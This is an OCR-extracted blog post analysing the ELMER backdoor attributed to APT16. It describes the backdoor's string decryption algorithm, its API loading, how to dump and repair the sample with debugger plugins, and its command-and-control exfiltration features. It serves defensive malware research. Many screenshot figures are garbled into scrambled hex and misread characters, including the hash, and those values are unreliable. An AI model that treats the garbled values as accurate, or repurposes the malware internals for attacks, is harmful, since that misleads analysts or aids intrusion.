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Summary

In this blog post, we're presenting a detailed analysis of a backdoor known as ELMER that
was used by the Chinese actor identified as APT16. This group targeted Japanese and
Taiwanese organizations in industries such as high-tech, government services, media and
financial services.

The malware is encrypted with a custom algorithm and it's written in Delphi. This sample is
capable of detecting proxy settings on the local machine and exfiltrating information such as
the hostname and IP address of the machine to the Command and Control server. The
process uses a custom decryption algorithm that consists of AND, XOR, and ADD operations
in order to decrypt relevant strings during runtime. It implements 8 different commands
depending on the response from the C2 server, including: file uploads and downloads,
process execution, exfiltration of file names/sizes and directory names, exfiltration of
processes/process IDs. Data exfiltration is performed using an HTML document that contains
the information encoded using the NOT operator.

This sample is using a custom encryption algorithm, that we will describe below. For this
analysis, we have also created a python script that can be used to facilitate the decryption
process, which can be found at
https://github.com/Rackedydig/string_decode_algorithm_apt16.

Technical analysis

SHA256:
BEDOOA7B59EF2BD703098DA6D523A498C8FDAOSDCE931F028E8F16FF434DC89E

I's important to mention that a part of the malicious code is encrypted, and we’ll explain
using a step-by-step approach how to decrypt it. The process is scanning the memory in
order to find the magic number “MZ” which corresponds to EXEs (DLLs), and then it’s
extracting the first word of the PE header and compares it with “PE” as follows:
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.hello:
.hello:
.hello:
.hello:
.hello:
.hello:
.hello:
.hello:
.hello
.hello:

B719138A
6719138A
6719138A
67191384
67191388
67191380
6719138E
6719138F
167191396
67191393

arg_e=
arg_4=

push
mov
push
push
push
Mo
and

ebp

dword ptr
dword ptr

ebp, esp

ehx
esi
edi

eax, [ebptarg_8]

eax, BFFFFFaeeh

ach

{4

Ll s =]

.hello
.hello
.hellao
.hello

167191398
167191398 loc_67191398:
167191398 cmp
167191390 jz

word ptr [eax], 'IM
short loc_671913A6

Ll s =]

.hello:6719139F sub
.hello:671913A4 jmp

23N,

short loc_g7191398

leaah

167191346
:671913A6 loc_G71913A6:
167191386 mov
:671913A9 cmp
:671913AF jz

esi, [eax+3Ch]
word ptr [esi+teax], 'EP
short loc_671913B8

Y

e

i

Figure 1

The following picture contains a part of the bytes that will be transformed as we’ll see in the
next paragraphs:

Cl
14 3

3 F8 O

04

0

4

30 00

XOF eax,eax
ecx,dword ptr ssi[ebp+edi]
dl,byte ptr ds: [ecx]

1ea
mow

add ecx,4

mow

inCc eax
cmp eax,4

=

- - -

—mm

byte ptr ds:[eax+esi],dl

eCcx=<apt.EntryPoint> (671912F0)
dword ptr [ebp+edi*l]=[apt.6&7181000]=148633DB

.hello: 6719156C apt.exe: $1156C #A7F6EC

48 Dump 1

B4 Dump 2

B4 Dump 3

B4 Dump 4

248 Dump 5

B watch 1

[x=] Locals

# s

Address

Hex

ASCII

67181000
67181010
67181020
67181030
67151040
67181050
67 181060
67181070
67181080
67 181090
67181040
67 1810B0
67 1810C0
67181000
&7 1810ED
67 1810F0
67181100
67181110
67181120

2

DB
37
9F
C8
o4
86
De
BE
co
CC
Al
AD
44
35
A2
D7
9
B1
55

33
BC
87
&0
CF
=
9E
97
55
AE
=}=]
FO
&F
29
BS
c4
ES
3F
CF

86
0B
1A
33
85
D2
19
4
1z
Al
06
oA
oC
9F
36
C4
D7
Dz
EB

14
31
L8
EB
5B
37
D5
BC
FB
BF
91
74
74
CC
7C
B4
33
1A
0C

57
OF
F5
9B
2C
F3
F1
E6
92
ED

11

99
fE
96
7C
F3
3C

B2
4B
21
AL
99
46
el
D1
92
BF
BE
2D
63
EE
59
13
BC
B2
BA

61
3A
36
35
7E
AD
Fl
EF
Do
40
B2
2B
01
71
c7
FA
ce
BC

33
D
CF
EE
73
BE
20
EC
co
75
DE
61
Do
c3
1B
fE
9F
55
5D

c3
23

52
4F
1
ED
8F
6B
o7
CB
a8
FF
E6
02
11
03
E3
95

D&
c9
ES
54
0D
4F
3c
BC
05
Al
£1
CF
A3
€0
1c
4E
BA
AB
E2

4E
6F
EE
D3
45
Bl
8C
5D
21
BD
81
92
5E
GE
05
C8
2F
13
DC

EE
34
20
55
A9
AE
ES
72
39
F9
FB
1
45
88
57
BA
35
L1
c9

AL
F3
E6
7D
43
BE
0C
EC
45
37
3E
19
E7
0B
C5
&4
27
72

7C

CF
BE
BD
EF
EF
DD
13
B3
F2
E3
28
DE
52
22
IF
5F
F3
50
10

C7
Lty
94
3A
EE
C4
41
20
F1
FF
98
&5
AF
3E
BE
28
49
Al
14

72
25
c9
4D
SA
cD
24
50
3D
2D
EO
E7
F4
c9
34
F3
ED
D5
EF
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Figure
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The first 16 bytes are reordered as follows: [byte1, byte5, byte9, byte13], [byte2, byte6,
byte10, byte14], [byte3, byte7, byte11, byte15], [byte4, byte8, byte12, byte16]:

Address

Hex

O0O19FEE4
DO19FEF4
0019FFO4
DO19FF1L4
O0O19FF24
D0O19FF34
DO19FF44

00
00
00
00
00
00
DE

00
00
00
00
00
o0
57

00
o0
o0
00
00
o0
C3

00
00
00
00
00
00
AL

00
oo
o0
00
00

00
0o
00
00
0o

00
00
00
00
00

00
00
o0
00
00

90 10 18 67
33 82 D6 CF
Now there is a buffer of 16 bytes,

00
00
00
00
00
00
56

which represents a “key” in the upcomin

00
00
o0
00
00
o0
61

00
00
o0
o0
00
oo
4E

00
00
00
00
00
00
c7

00
0o
o0
00
oo

00
00
00
00
0o

00
00
00
00
00

00
00
o0
o0
00

< CC 12 00
14 33 BB 72

............ A

OwAx¥3.0I.anNC. 3=

Figure 3

g operations:

Address

Hex

ASCII

671911AC
671911BC
671911CC
671911DC

Do C9
o0 00
00 00
o0 00

E1 B&
oo 00
o0 00
oo 00

14 EE
oo 00
o0 00
oo 00

3F 63
o0 00
00 00
00 00

F9
o0
00
00

25
o0
o0
o0

oc 0C
oo 00
o0 00
oo 00

AB
oo
00
00

82 C8 Ab
o0 00 00
00 00 00
00 00 00

pEAY.17CU%.. .E'

Figure 4

An XOR operation is performed between the corresponding positions of the 2 buffers
mentioned above:

Address

Hex

O019FEE4
O019FEF4
0019FFO4
D0O19FF14
O019FFZ24
0D019FF34
O019FF44

The first 4 bytes of the buffer remain in their current positions, however, the last 12 bytes are

00 00
00 00
00 00 00 00
00 00 00 00
Q0 10 18 &7

00
00

00
00

AC_ 11 13 67
OB SE 22 13

00
oo
00
00
D4

00
00
00
00
81

o0
oo
o0
o0
00

00
o0
00
oo
00

Q0 10 18 &7
27 6C E9 AC

reordered, as shown in figure 6:

Address | Hex

0o
o0
00
04

00
7F

0o
oo
00
oo

00
00
0o
0o

00
00
00
00

00 00 00
44 42 CB

00 00 00 00
00 00 00 00
00 00 00 00
=2 FE 10 00
22 FE 10 00

24 FE 10 00
BC BA 73 D4

0019FEE4
OD19FEF4
0D0O19FFO4
0019FF14
0O19FFZ24
D019FF34
D019FF44

00 00 00
00 00 00
00 00 00
00 00 00

o0
00
00
o0
BA 73 D4 BC
OB 9E 22 13

o0
00
o0
o0
04

00
00
00
00
00

o0
00
o0
o0
00

0o
00
00
00
00

Q0 10 18 &7
AC 27 EC E9

Each byte is replaced by a byte that can be found at the position 0x671911EC+current_byte,

as explained in the next figure:

0o
0o
00
04

00

00
00
00
o0

00
00
00
o0

o0
00
00
o0

oo 00 00

42 CB 7F 44

o0 00 00 00
o0 00 00 00
o0 00 00 00

BA 73 D4 BC

............ T. -
A P o
osbi&. ..o. ... .¥..
..".~"1eBE.Des0k

- |Figure 5

Figure 6
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EE—>

: 67191640
l-—--@| 67191644

58
7C

92 EC 11 19 &7
54 08 FF
EB

mov dl,byte ptr ds:[edx+671911EC]
mov byte ptr ds:[eax+ecx-1],d1
j1 apt.67191691

g

dl=22

rl,l"ll ]

byte ptr [edx+671911EC]=[apt.6719120E]1=94

Lhello: 6719163A apt.exe: $1163A #AS9A

B Dump

1

Y% Dump 2

Y% Dump 3

Y% Dump 4

Y% Dump 5

@Watﬁl

[x=] Locals

) struct

Address

Hex

ASCITI

671911EC
671911FC
6719120C
6719121C
6719122C
6719123C
6719124C
6719125C
6719126
6719127C
6719128C
6719129C
671912AC
67 1912BC
671912CC
671912DC
671912EC
671912FC
6719130C

Figure 7

52
7C
£4
08
72
8L
0
Do
3A
96
47
FC
1F
&0
Al
17

L8

o9
E3
7B
2E
F8
70
D8
2C
91
AC
F1
56
DD
51
EOD
2B

81

6A
39
94
Al
F&
45
AB
1E
11
74
1A
3E
AB
IF
iB
o4

E3

D5
82
32
66
&4
50
00
8F
41
22
71
4B
23
AD
40
7E

o0

EE 69 &8 EC

30
9B
AG
25
=15
FD

36
2F
cz2
D9
638
ED
BC
3F
67
AD
29
Dz
o7
BES
ZA

CA
4F
E7

CE
B8
19
AE
56
FF
19

55
FO
12

A5
FF
23
24
98
EZ
D3
oF
DC
35
5
79
c7
4A
FS
D&
53
FF
67

35
B7
3D
B2
16
DA
oA
02
EA
Bt
39
20
31
oD
BO
26
57
B3
53

BF
34
EE
76
D4
5E
F7
C1
a7
E2

A
B1
2D
C8
E1
ES
E{n]
EB

40
BE
4Cc
5B
A4
15
E4
AF
F2
F9
B7
DB
12
ES
EBE
62
8C
EC
71

A3
43
95
AZ
5C
46
LY
BD
CF
37
62
co
10
TA
EE
14
00
12
00

9E
44
0e
43
€C
57
05
03
CE
ES
0E
FE
£g
aF
3C
63
00
19
00

51
c4
4z
6D
LD
AT
EE
o1
FO
1C
Al
78
27
93
=k
L&

o0
&7
oo

F3
DE
FA
5B
&5
D
B3
13
B4
75
18
cD
80
c9
53
21
5B
0o
8D

D7
E9
c3
(Fhi
BE
a0
45
BA
E6
DF
BE
5A
EC
S
99
oC
1Cc
74
=]

FB
cB
4E
25
92
84
06
(]
73
&E
1B
F4
5F
EF
61
7D
24
02
ac
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After this transformation, the buffer becomes the following one:

Address

Hex

0O019FEE4
D0O19FEF4
D019FFO4
DO19FFLl4
0019FFZ24
0O019FF34
DO19FF44

00
00
00
00

BA

oo
00
o0
00

00
00
0o
00

00
00
0o
00

rd

73 D4 BC

£

9E DF 94 82

6719162C
6719162F
67191630
67191632
67191633
67191636

o0
o0
00
00

00
00
00
00

o0
o0
o0
00

o0
00
o0
00

2C 11 13 &7

Q0 10 18 &7
AA 3D BB EB

There is a second XOR decryption step, but this time the key is changing:

F5

00
00
00
04

Bz 15 13 &7
00 00 00 00
59 6B 86

F&

18
CO 04

oo
00
00
00

FD 04

00
00
0o
00

00
00
00
00

00 00 00 00
00 00 00 00
00 00 00 00
a2t EE 10 00
21 FE 10 00

2L L2 12 00
CO 8F 19 78

Xor
add
dec
jne
inc
cmp

:"%Cr‘.&...g ..... T
E..== 86Yk.A..x

eax, 4

esi

apt. 67191627
ebp

ebp, 4

i1 apt.6719161A

Figure 8

byte ptr ds:[eax],bl

byte ptr
bl=AC '

[eax]=[0019FF44]=9E

.hello: 6719162A apt.exe: $1162A #ABZA

Figure 9

B Dump

1

B4 Dump 2

B Dump 3

B Dump 4

B4 Dump 5

@Watd’ll

[x=] Locals

Address

Hex

ASCII

6719119C

After the

AC 19 28 57|77 FA D1 5C|66 DC 2% 0OO0|F3 21 41 &E
XOR operation is complete, the current buffer has been changed, as shown below:

. (WaORF0) - 81AR

Address

Hex

D0O19FEE4
DO19FEF4
00O19FFO4
0019FF14
OO19FFZ24
D019FF34
DO19FF44

00
00
00
o4

BA

00
00
o0
oo

73

o0
00
o0
oo

D4

00
00
00
o0

BC

32 €6 BC D5

o0 00 00 00
oo 00 00 00
o0 00 00 00

2C 11 12 &7
43 FE 10 00

00 10 18 &7
DD C7 69 BT

00 00 OO0 00
00 00 00 00
00 00 OO0 00

20 10 18 67

20 11 13 67
00 00 00 00
4z B6

20 &5

oo
00
00
D4

00
00
0o

81

00
00
00
00

0o
o0
00
oo

42 FE 10 00
24 EE 10 00

33 AE 58

16

goy. .
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A few more operations will be performed, including shl cl, 1 (shift left by 1) and xor cl, 1B (xor
with 0x1B). Let’s take, for example, byte 0x90 from the buffer which is left shifted by 1 (0x20)
and then XORed with 0x1B -> 0x3B. Byte 0x3B is left shifted by 1 and becomes 0x76 (no
XOR is performed) and one more time, 0x76 is left shifted by 1 and becomes OxEC. The
confirmation that all of these operations are accurate:

Address | Hex ASCITI

0019FEEC | 00 OO0 OO 00|00 0D OO0 00|00 00 00 DD o0 00 00 OO LR
0019FEFC |CE 81 00 00 ra op oo oo ool ..Y?..#..g
0019FFOC FS3BTF&ECI OB 00 00 OODIDD ALl 59 EZ o4 00 00 00 i b

Figure 11

Now the values from this buffer are XORed together (0x90 XOR 0x76) XOR OxEC and then
the result (Oxa) is XORed with other results from similar operations. After all operations are
done, the buffer will be the following:

Address | Hex ASCIT

0019FEE4 |00 0O OO0 QOO0 OO OO OO|DE 81 OO0 OO|OZ2 0D 0D C4| .. caueuw Pt A

O019FEF4 7 L|OE OO OO0 00|16 2C 58 BO|O9 00 OO0 OO N..Q..... ,Xf..“

0019FF0O4 | 86 17 2E 5C|0OD 00 OO OO|BF 75 EA CF|OB 00 QOO 0O ...}. BT, ... F1gure 12
0019FF14 D5 B1 79 F2|04 00 OO0 O00(9C 311 19 &7 |00 10 18 &7 ﬂiyn ....... g...qQ
0019FF24|D4 81 00 00|48 FF 19 QOQ(00 OO0 OO OO|D2 15 19 &7 G...Hy ...... G..g

0019FF34 D5 BF 86 16|00 10 18 &7 (00 OO0 OO0 00|54 FF 19 00 S RS V.

O019FF44 |53 B2 35 G5 |C8 9D 16 44|69 AS 4E C9|BE AD AZ 1A|5=Sel..Di¥NEX t

The sample performs the steps presented above 10 times, and the buffer looks like in the
next figure:

Address | Hex ASCIT

0019FEE4 |00 OO0 00 00|00 00 00 OO(D1 81 OO0 0O0(02 00 00 35(....0... T

OO19FEF4 | 4E 1F 12 &7 |OE 00 OO OO|8E OF OE 1C |02 OO0 OO0 OO h..g......: .....

0019FF04 DO BB 6D DA|OD 00 00 00|78 FO FB ED|0B 00 00 00|B»m0....xd01;... Figure 13
0O19FF14 |04 OO0 OO0 00 |0C 11 19 &7 (00 10 18 67|04 81 00 00| ...0ue.. g...gﬂ S

0019FF24 |BD 15 19 67 (44 FF 19 00(0C 11 19 67|44 FF 19 00|%..0D¥..... Dy

O019FF24 | A2 BE C4 Z2E 100 00O OO 00|94 FF 19 00| £.A....0..0ux ..

0019FF44 (04 02 61 00|10 O4 72 00|18 43 01 00|67 68 00 FF|..8...F..C..gh.¥

The buffer is reordered and copied in the location displayed in figure 2, as follows:

Address

Hex

ASCII

67 181000
67181010
67181020
67181030
67181040
67181050
67181060
67181070
67181080
671851020
67181040
67 1810B0
671810C0
67181000
671810ED
671810F0
67181100
67181110
67181120

37
9F
C5
04
86
D&
BE
co
CC
AD
AD
44
35
AZ
D7y
a2
B1
55

BC
87
&0
CF
8A
9E
a7
55
AE
B2
FO
GF
39
=1
c4
E9
3F
CF

0B
1A
33
8L
Dz
19
34
12
AD
06
0A
9C
9F

36 7

C4
D7
D2
E8

oz
0OF
F5
3B
2C
F3
F1
E6
92
ED
57
11
AC
22
7E
296
7C
F3
3C

o4
4B
21
Ab
99
46
61
D1
92
BF
38
2D
63
EE
89
13

43
3A
36
35
7E
AD
F1
BF
Do
40
B2
2B
o1
i |
cr
FA

BC 75

B9
BA

Ce
BC

68
D
CF
E6
73
BE
30
EC
co
78
DE
Bl
Do
Cc3
1B
7E
9F
L8
5D

61
23
7C
52
4F
35
ED
BF
GE
07
CE
28
FF
E6
0z
11
03
E3
a5

72
c9
ES
54
oD
4F
3C
BC
05
Al
51
CF
A3
co
1c
4E
BA
AB
EZ

o1
&F
EE
D3
4L
Bl
BC
ED
21
BED
81
92
BE
GE
05
C8
2F
13
DC

o0
34
90
55
AD
AE
EE
72
39
F9
FB
36
48
88
57
A
35
5D
c9

]
F3
EG
7D
43
5E
0C
EC
45
37
3E
19
E7
0B
C5
G4
27
72
7C

oo
BE
ED
EF
EF
oo
13
B3
F2
E3
28
DE
52
22
9F
5F
F3
B0
10

Do
co
94
3A
EE
c4
41
20
F1
FF
98
&5
AF
3E
BE
28
49
Al
14

FF
25
c9
4D
A
co
24
50
ETh)
2D
ED
F7
Fa
c9
24
F3
BD
D&
c7

5 L e e W
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JD tT-C.BVE.HC. O
9. I. xqﬁahn.."hé
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xAAT. -li~.NEZd_86
Exalmw i oIk
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uie. 1. alE |

Figure 14

The algorithm applied for the first 16 bytes is repeated 2078 tlmes. The new buffer is the

decrypted version of the first one:
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67181000
67181010
67181020
67181030
67 151040
67181050
67181060
67181070
67181080
&7 181090
67181040
67 1810B0O
67 1810C0
67181000
67 1810EDQ
67 1510F0
67181100
67181110
67181120

The malicious process loads multiple DLLs and retrieves the address of export functions
using LoadLibraryA and GetProcAddress APIs:

Figure 15

6/40



671913E8 03 F3 add esi,ebx

L ]
& 671913EA E8 F9 032 00 0O €all <apt.LoadLibraryas>
®| 671913EF 8B F& mov edi,eax
®( 671913F1 B85 FF test edi,edi
R || 5671913F3 « 74 41 je apt.67191436
i ®| 671913F5 83 3E 00 cmp dword ptr ds:[esi],0
R || 671213F8 ~ ¥4 29 je apt.67191423
g & 671913FA 8B FF mov edi,edi
e T i >@| 67F1913FC 5B 06 mov eax,dword ptr ds:[esi]
: ! i ®| 571913FE 85 CO test eax,eax
thisl I feissssd ®( 67191400 ~ 79 08 jns apt.&719140A
:: ! i & 67191402 25 FF FF 00 00 and eax,FFFF
P ®( 67191407 50 push eax
b il || 67121408 ~ EB D5 jmp apt.&719140F
1 : L-F--r# || 67191404 8D 4C 03 02 1ea ecx,dword ptr ds: [ebx+eax+2]
P! ! #| 5719140E % | push ecx
! i ol = 5
(el ——e || 6719140F 57 push edi
m—l—)l 4 67191410 E8 CD 03 00 OO call <apt.GetProcAddressx>
e ) ®| 67191415 85 CO test eax,eax
T it 67191427 ~ 74 1D je apt.67191436
g Iseitet e 67191419 592 06 mov dword ptr ds:[esi],eax
] T o 67192141B 83 C& 04 add esi,4
il & 6719141E 83 3IE 00 cmp dword ptr ds:[esi],0
:: :l ———————— ®( 67191421 ~ 75 D9 jne apt.6&71913FC
i Gt e e 67191423 5B 45 08 mov eax,dword ptr ss:|febp+sj
; 1 ®|| 67191426 83 CO 14 add eax,14
g i | 67191429 83 38 00 cmp dword ptr ds:[eax],0
: ! ®| 6719142C 59 45 038 mov dword ptr ss:[lebp+5],eax
hT—-—L ————————— & 6719142F ~ F5 AC jne apt.e&71913DD
o (Rt T LT BT -— —— -

<dpt.GetProcAddress>

.hello: 67191410 apt.exe: $11410 #A610

BeDumpl @ pump2z W Dump3 @ Dump4 B Dump 5 @ watch1  Ix=lLocals E’ Struc

Address | Hex ASCIT

6718C230| 6B 65 72 G6E|65 6C 33 32|2E 64 6C 6C |00 00 00 OO|Kernel3z.dil....
6718BC240 | 44 65 6C 65|74 65 43 72|69 74 69 63|61 6C 53 65 (DeleteCriticalse
6718C250| 63 74 69 GF|GE 00 00 OO|(4C &5 61 76|65 43 72 69| ction...LeaveCri
6718C260|74 69 63 61|6C 53 65 63|74 62 6F GE|00 00 OO0 0OO|ticalsection....
6718BC270| 45 GE 74 65|72 43 72 69|74 69 63 61|6C 53 &5 63| EnterCriticalsec
6718C230 |74 &9 6F GE |00 00 OO0 00|49 6E 69 74|62 61 6L 69| tion....Initiali
6718BC290|7A 65 43 72|69 74 69 63|61 &C 53 65|63 74 69 6F|zeCriticalsectio
6718C2A0| 6E OO OO 00|56 69 72 74|75 61 6C 46|72 &5 &5 00| n...virtualFree.
6718C2B0O |00 00 56 69|72 74 75 61|6C 41 6C 6C|6F 63 00 00| ..virtualAllec..
6718C2C0| 00 00 4C 6F|63 61 6C 46|72 &5 &5 00|00 00 4C G6F|..LocalFree...LoO
6718C2D0| 63 61 &C 41|6C &6C &F &3 (00 0O OO0 00|47 &5 74 54| calalloc....GetT
6718C2E0(69 63 6B 43 |(6F 75 GE 74|00 00 00 00|51 75 65 72 |ickCount....Quer
6718C2F0 (79 50 65 72|66 6F 72 6D |61 GE 63 65 |43 &6F 75 &E|yPerformanceCoun
6718C300| 74 &5 72 00|00 0D 47 65|74 56 65 72|73 &9 6F GE|ter...Getversion
6718C310| 00 OO0 OO OD|47 65 74 42|75 72 72 65 |6E 74 54 68|....GetCurrentTh
6718C320 |72 65 61 64|49 64 00 00|00 OO0 47 65|74 54 68 72| readId....GetThr
6718C330| 65 61 64 4C|6F 63 61 6C|65 00 0D 00|47 65 74 53| eadLocale...Gets
6718C340(74 €1 72 74|75 70 49 6E|66 GF 41 00|00 00 47 65| tartupInfoA...Ge
6718C350| 74 4C GF 63|61 6C &5 49|6E &6 &F 41|00 00 00 00| tLocaleInfoA....

Figure 16
The list of DLLs to be loaded + the export functions:

kernel32.dll

DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection,
VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter,
GetVersion, , GetCurrentThreadld, GetThreadLocale, GetStartuplnfoA, GetLocalelnfoA,
GetLastError, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile,
UnhandledExceptionFilter, SetEndOfFile, RtlUnwind, RaiseException, GetStdHandle,
GetFileSize, GetFileType, CreateFileA, CloseHandle, TisSetValue, TIsGetValue,
GetModuleHandleA, IstrcmpiA, WaitForSingleObject, Sleep, SetFilePointer, ReadFile,
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GetProcAddress, GetModuleFileNameA, GetFileAttributesA, GetCurrentDirectoryA,
FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, CreateThread,
CreateProcessA

user32.dll
GetKeyboardType, MessageBoxA
advapi32.dli
RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll
SysFreeString, SysReAllocStringLen
ws2_32.dll

WSAGetLastError, gethostname, gethostbyname, socket, setsockopt, send, recy, inet_ntoa,
inet_addr, htons, connect, closesocket, WSACleanup, WSAStartup

dnsapi.dll
DnsRecordListFree, DnsQuery A

The process passes the execution flow to the unencrypted code as illustrated in the next
figure:

= EE_EfX jmp eax

Jump is taken
eax=apt. 671589194

.hello: 67191382 apt.exe:$113583 #ALS3

B4 Dump 1 4% Dump 2 B4 Dump 3 B4 Dump 4 B4y Dump 5 "E Watch 1 [xc=] L‘Figure 17

Address | Hex ASCII

67189194 |55 8B EC 83|C4 FO BS 14|91 18 67 ES|BO B2 FF FF|U.1.AB,...ge" =¥y
67189144 |33 C0O 55 68|C5 21 18 67|64 FF 30 64|89 20 ES 51| 3AuUhA..gdyod. eq
671891B4 | FD FF FF 33(CD 5A 59 59|64 89 10 &8(CC 91 18 &7 |vvw3AZyyd..hl..qg
671891C4|C3 E9 94 9E|FF FF EB FB|ES8 OF A3 FF|FF 8D 40 00|Ae..yvéoe. £yv.&.
671891D4 (00 00 OO0 00|00 OO OO OO|00 OO0 OO 00|00 00 00 O0| ... veeeeerennnes
671891E4 (00 00 00 00|00 OO0 OO OO(00 OO OO OO(0D OO0 00 O0| ...veeeeereunnes
€71891F4 (00 00 OO0 00|00 OO OO0 OO|00 OO0 OO OO|(00 00 00 O0| vvivveeansnnnnns
67189204 |00 00 OO 00|00 OO0 OO0 OO|00 OO0 OO QO[O0 OO 00 O0| «..veeeeerennees

In order to also perform static analysis on the binary, we have to dump the memory of this
process using OllyDumpEx plugin of x32dbg debugger:
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OllyDurnpBx vl .62 - apt.exe >

Module
Base: ®) Module | C:\Users' BB esktophapt exe ~

(O Memary  £7180000 (00001000) # Imag / B/ apt / PE

O Address | 67180000 Cancel
List Section: (@ Base Only () Al Memory () Address Range  E7180000 - EE130000

Dump Mode: (@) Rebuild () Bimary [Faw] () Binary [Wirtual]
Image Source: (@) Memory () Disk

Search Format
Search Area; () Select () &l Memony [exclude listed module] (®) PE
Search Mode: (@) Strict () Fuzzy [slow) Sreardnlnage RS EE T (JVELF
Image Option
Image Baze: |[B7180000 Fiw Wirtual Offzet Prefer Original Characteristics [Meed Rescan)
: Fir Corupted Image Header Structure
Image Size:  |00013200 [ ] Dizable Relacation
: Auto Adjuzt Image Baze Address
Entry Point: | 000112F0 [
: BB OEE [ ] Rebuild DataDirectory [Follaws ImageR ase Change)
S ection
Select All Select BazeModule| | Select Privatedall| | Select Private/Exec DeSelect All
Addresz Size  Owner Section Type Access VirtualDffset  VirtwalSize Characteristics ™
B7181000 00009000  apt CODE  Imag RWwE Q0007000 0000S000 EQ0000Z20
EF184000 00001000  apt DATA  Ilmag Rw Q0004000 00007000 Co000040
EF18B000 00001000  apt BSS Imag AW Q000BOOO Q0007000 Cooooooo
EF18C000 00001000  apt Jidata Imag AW Q000coo0  Qo0o7o00 Cooooo40
7180000 00007000  apt s Imag AW Qo0oo0o0o0 Q0007000 Co0ooooo
EF18E000  0OOOT000  apt data Imag AW Q000EOOO Q0007000 Do000o40
B718F000 00001000 apt Telac Imag AW Q000FOO00 00007000 Doonoo4n
pCIRTELS T ) St R s i -

PE 32 #86 EXE lnaded, Basedddress=67130000, Relocation

Figure 18
The problem is that the IAT (Import address table) hasn’t been populated as expected and
contains only 2 functions that were also present in the original binary:

=

Fun.

Figure 19
We have to use another plugin of x32dbg called Scylla. This plugin is used to find the IAT
entries in the process memory, and then it can fix our dropped binary:
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B 5oz 36008 — hd

File Imports Trace Misc Help

Attach to an active process
5435 - apt.exe - Ct\Users Tl Desktop\apt.exe “ | | PidkDLL

Impaorts

kernel32.dll (31) FThunk: 0000COCS
user32.dll (2) FThunk: 0000C 148
advapi32.dil (3) FThunk: 0000C154
oleaut32.dll (2) FThunk: 0000C 164
kernel32.dll (4) FThunk: 0000C170
advapi32.dil (3) FThunk: 0000C 184
kernel32.dll (20) FThunk: 0000C 194
ws2_32.dll (14) FThunk: 0000C1ES
dnsapi.dll {Z) FThunk: 0000C224

Leeeeqess

Figure 20
Show Invalid Show Suspect Clear
IAT Info Actions Dump
OEP | 671891594 | IAT Autosearch Autotrace Dump PE Rebuild
VA | 6718C0CH |
Get Imports Fix D
Size | 00000164 | ; ke
Log
IAT Search Adv: Found 69 (0x45) possible TAT entries, ~

IAT Search Adv: Possible IAT first 6718C0CS last 6713C228 entry.
IAT Search Adv: TAT VA 6718C0CE RVA 0000C0CE Size 0x0164 (356)
IAT Search Mor: IAT VA 6718C0CS RVA 0000COCS Size 0x0168 (360)
IAT parsing finished, found &1 valid APIs, missed 0 APIs

DIRECT IMPORTS - Found 0 possible direct imparts with 0 unigue APIs!

Imports: 81 " Invalid: 0 Imagebase: 67130000 apt.exe
We’'ve successfully fixed the IAT in our dropped binary, and this operation is useful because
it reveals different API calls which have to be analyzed:

10/40



ia DA View-A & Hex View-1 Structures i) Enums
Address Ordinal Mame Library
ﬁ 6718C0C8 DeleteCriticalSection kerneld2
ﬂ 6718C0CC LeaveCriticalSection kemnel32
&5 6718000 EnterCriticalSection kemel32
F 6718C0D4 InitislizeCriticalSection kemeld2
i s7acope VirtualFree kemel32
i smaconc VirtualAlloc kemel32
5 6T8c0E0 LocalFree kemel32
& 6T18C064 LocslAlloc kemel32
&5 s71acoes GetTickCount kemel32
:‘Z_E] 6T18C0EC QueryPesformanceCounter leemnel32
Hi) e7i8coF0 Getversion kemell2
& 6718C0F4 GetCurrentThreadid kemel32
i smacors GetThreadLocale kemel32
i smacorc GetStartupinfoA kemel32
&gl smecioo Getlocaleinfod kemel32
&g smaci GetlastError kemel32
fﬂ 6718C108 GetCommandLines kemeld2
& smacioc FreeLibrary kemel32
§ smeciio EiitProcess kemel32
&g smaci14 WriteFile kemel32
E 6718C118 UnhandledExceptionFilter kemel32
&5 6718C11C SetFilePointer kemel32
FE 6m8c120 SetEndOfFile kernel32
& smaciz4 RtlUnwind kemel32
&g smacizs ReadFile kemel32
& smacic RaiseException kemnel32
3 smeciao GetStaHandle kemel32
&g smaci1 GetFileSize kemel32
YE] 6718C138 GetFileType lkemnel32
i) 6718C13C CreateFileA kemel32
& smacia CloseHandle kemel32
ﬁ 6718C148 GetieyboardType userd2
& 6maciac MessageBoxA user32
&3 6718C154 RegQueryValuefxA advapii2

Figure 21

Now we will analyze the decrypted binary. It initiates the use of Winsock DLL by calling the
WSAStartup function:

e e —— v g e = e
s 67135349 54 push esp XK87SW_C1 O XB7SW_
e 6718834A 68 02 02 00 00 push 202 KB7SW_SF O XB7SW_
EIP g T E8 AC C2 FF FF €all <apt.wSAStartup> e
o 57188354 85 CO test eax,eax v

oo~ | - e EE T 5 | Default (stdcall)
= 1: [esp] 00000202
<apT.WSASTartups 2: [esp+4] DO19FDD
3: [esp+8] 6718C7C
4: [esp+C] 0000000
CODE: 6718834F apt.exe: §834F #774F | ———
WWoump1 | @oumpz  @Hoump3s  @Woumps  @Wloumps | @ watchi | [x=lLocals & struct mmlsmsa mmFﬁgg &"DnsqQuery_A"

Figure 22

During the entire execution, the process decrypts relevant strings by using a custom
algorithm that can be described shortly: If m is the encrypted buffer and key is the decryption
key, the result of the algorithm is (m[i] AND OxF) XOR (key[i] AND 0xF) + (m[i] AND 0xFO),
as presented below:
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APE EAFTLFS W ALE T D e L e R LA [ Iy T EEl b T |

. -
mﬂ—:—i—i- 8A 44 18 FF mov al hyte ptr ds: [Eax+ehx—1]
it | 67134877 24 0OF and al,
L @ c7184B7 9 8B 55 F8 mov edx dword ptr ss:[Qebp-5§
et @ 67184B7C 8A 54 32 FF mov dil byte ptr ds: [edx+esi-1]
el #| 57184880 80 E2 OF and d1,F
e ®|| 67184B83 32 C2 xor al,dl
bl @ 67184B85 88 45 F3 mov byte ptr ss:[febp-DJ,al
g #| 57134858 8D 45 FC lea eax,dword ptr ss:[ebp-4[]
T e 57184B38B ES 14 EE FF FF E&1T apt.671839A4
i & 67184B90 8B 55 FC mov edx,dword ptr ss:[lebp-4J
it e c7184B93 8A 54 1A FF mov dl,byte ptr ds: [edx+ebx-1]
bl e 57184837 80 EZ FO and d1,FoD
it #| 57134B94 BA 4D F3 mov cl,byte ptr ss:|[febp-DJ
! ®| 67184B9D 0z D1 add di,cl
